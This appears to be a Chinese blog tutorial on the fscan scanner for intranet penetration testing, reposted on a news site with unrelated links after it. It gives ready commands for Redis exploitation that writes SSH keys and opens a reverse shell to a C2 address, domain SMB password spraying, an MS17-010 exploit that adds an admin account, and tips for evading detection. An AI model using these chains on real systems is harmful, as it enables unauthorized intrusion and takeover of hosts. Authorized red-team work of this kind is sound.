当前位置: 首页 > news >正文

告别手动拼接命令!fscan实战:从B段扫描到Redis一键写公钥的保姆级参数指南

告别手动拼接命令!fscan实战:从B段扫描到Redis一键写公钥的保姆级参数指南

第一次在内网渗透中遇到B段资产测绘任务时,我像大多数新手一样,手忙脚乱地切换着nmap、hydra和redis-cli。直到发现fscan这个"瑞士军刀",才明白原来扫描、爆破、漏洞利用可以像搭积木一样自由组合。本文将分享如何用参数组合拳实现高效内网穿透,这些技巧都是我在三次企业级红队演练中验证过的实战经验。

1. 环境准备与基础扫描策略

工欲善其事,必先利其器。在开始前需要准备:

  • 最新版fscan二进制文件(建议从官方仓库获取)
  • 至少2GB内存的Linux主机(避免扫描大网段时OOM)
  • 稳定的网络环境(扫描B段时建议10Mbps以上带宽)

基础扫描命令对比表

场景命令示例优势注意事项
快速存活探测./fscan -h 10.0.0.0/24 -np -nobr -nopoc最低网络消耗可能漏掉禁ping主机
全端口扫描./fscan -h 192.168.1.1-254 -p 1-65535信息最完整耗时可能超过8小时
精准服务识别./fscan -h 172.16.1.1/24 -m ssh,redis针对性最强需预判目标服务

提示:企业内网扫描前务必获取书面授权,我曾见过因为扫描财务子网触发IDS导致整个红队行动终止的案例。

2. 高级参数组合技巧

2.1 低干扰扫描方案

当需要隐蔽资产梳理时,这个组合能减少90%的流量特征:

./fscan -hf targets.txt -nobr -nopoc -t 200 -silent
  • -hf从文件读取目标(避免重复输入)
  • -t降低线程数(默认600线程太显眼)
  • -silent关闭实时输出(适合C2环境)

2.2 Redis自动化利用链

发现未授权Redis时,这套组合能自动完成密钥写入:

./fscan -h 10.2.3.0/24 -rf ~/.ssh/id_rsa.pub -rs 你的C2_IP:4444

执行后会产生两个利用尝试:

  1. 将公钥写入/root/.ssh/authorized_keys
  2. 创建计划任务反弹shell

注意:部分Redis版本需要先执行config set dir切换目录,这时就需要手动干预了。

3. 典型场景实战案例

3.1 域环境快速突破

遇到Windows域时,这个组合屡试不爽:

./fscan -h 192.168.88.0/24 -m smb -userf domain_users.txt -pwdf top100_pwd.txt -domain CORP

关键参数解析:

  • -domain指定域名(否则NTLM认证会失败)
  • -userf使用预收集的域账号列表
  • 爆破成功会自动识别域控

3.2 专项漏洞打击

针对MS17-010的精准打击:

./fscan -h 172.16.100.1-200 -m ms17010 -sc add -t 50
  • -sc add自动添加管理员账户
  • 线程调低避免蓝屏(血泪教训)

4. 异常处理与优化建议

4.1 常见报错解决方案

连接重置问题

# 调整超时和重试参数 ./fscan -h 10.10.1.1/24 -time 5 -debug 120

内存不足处理

# 限制扫描范围并分批次执行 split -l 50 targets.txt batch_ for file in batch_*; do ./fscan -hf $file -o ${file}_result; done

4.2 性能调优参数

参数推荐值适用场景
-t300-800千兆网络建议500线程
-time3-8秒跨国网络建议调高
-num10-30Web扫描速率控制

最后分享一个真实案例:在某次演练中,通过-m smb2 -hash xxxxx参数成功利用Pass-the-Hash横向移动,这比常规爆破效率高出20倍。工具终究是工具,真正的魔法在于如何组合这些参数模块。

http://www.jsqmd.com/news/720968/

相关文章:

  • 10分钟搞定黑苹果:OpCore-Simplify自动化配置终极指南 [特殊字符]
  • Win11Debloat:3分钟快速清理Windows系统垃圾的终极免费工具
  • 【Vercel实用Skill】skill-creator 技能
  • Zotero浏览器扩展跨平台架构深度解析:如何实现学术文献一键保存的终极解决方案
  • 嵌入式编程学习日记(一)——C语言篇(文件分析库函数版)
  • 算法工程师效率工具:用 OpenClaw 自动生成数据集预处理代码、实验报告、调参日志整理
  • Meta、HuggingFace等大佬联手搞的GAIA基准测试,到底在测什么?GPT-4为啥才15%?
  • 实测 DeepSeek V4:为什么真正决定 Coding Agent 上限的,往往不是模型,而是 Harness Engineering
  • 双碳目标下的智慧园区:数字化如何赋能绿色高效运营
  • 【第26期】2026年4月29日 AI日报
  • Windows下用清华源5分钟搞定ONNX全家桶(含CUDA版本匹配避坑指南)
  • 保姆级教程:图形验证码后端核验全流程(多语言实现)
  • Winhance中文版:让你的Windows系统飞起来的免费优化神器
  • 3分钟解锁QQ音乐加密文件:qmcdump终极解密指南
  • 【助睿ETL】实验作业1——订单利润分流数据加工
  • Henghao恒浩HH温度开关原厂一级代理分销经销
  • 揭秘导师不会说:6款AI论文神器,效率飙升200%从此告别拖延 - 麟书学长
  • 在家用显卡上也能生成720P高清视频:Wan2.2-TI2V-5B实战指南
  • YOLO已经不够了:为什么自动驾驶开始转向BEV? ——从“看见物体”到“理解空间”的一次升级
  • Web运行
  • Vue3 + 高德地图JS API v2:手把手教你实现一个带进度条和倍速控制的车辆轨迹回放组件
  • 2025届必备的五大降重复率助手解析与推荐
  • 告别丑图:MapChart 2.32从安装到高级绘图(共线性、LOD曲线)全攻略
  • 定义“具身智造”新范式,海康机器人助推制造业全面升维
  • 我为什么一直看好 RustFS?Beta 发布后,我的判断更坚定了
  • 【Java结构化梳理】泛型-初步了解-上
  • 从‘卖软件’到‘管软件’:一个轻量级License授权系统如何帮你搞定私有化部署后的客户管理
  • 五种IO模型与⾮阻塞IO
  • Python的__complex__库兼容
  • 解决macOS视频缩略图生成效率问题:QuickLookVideo高级配置指南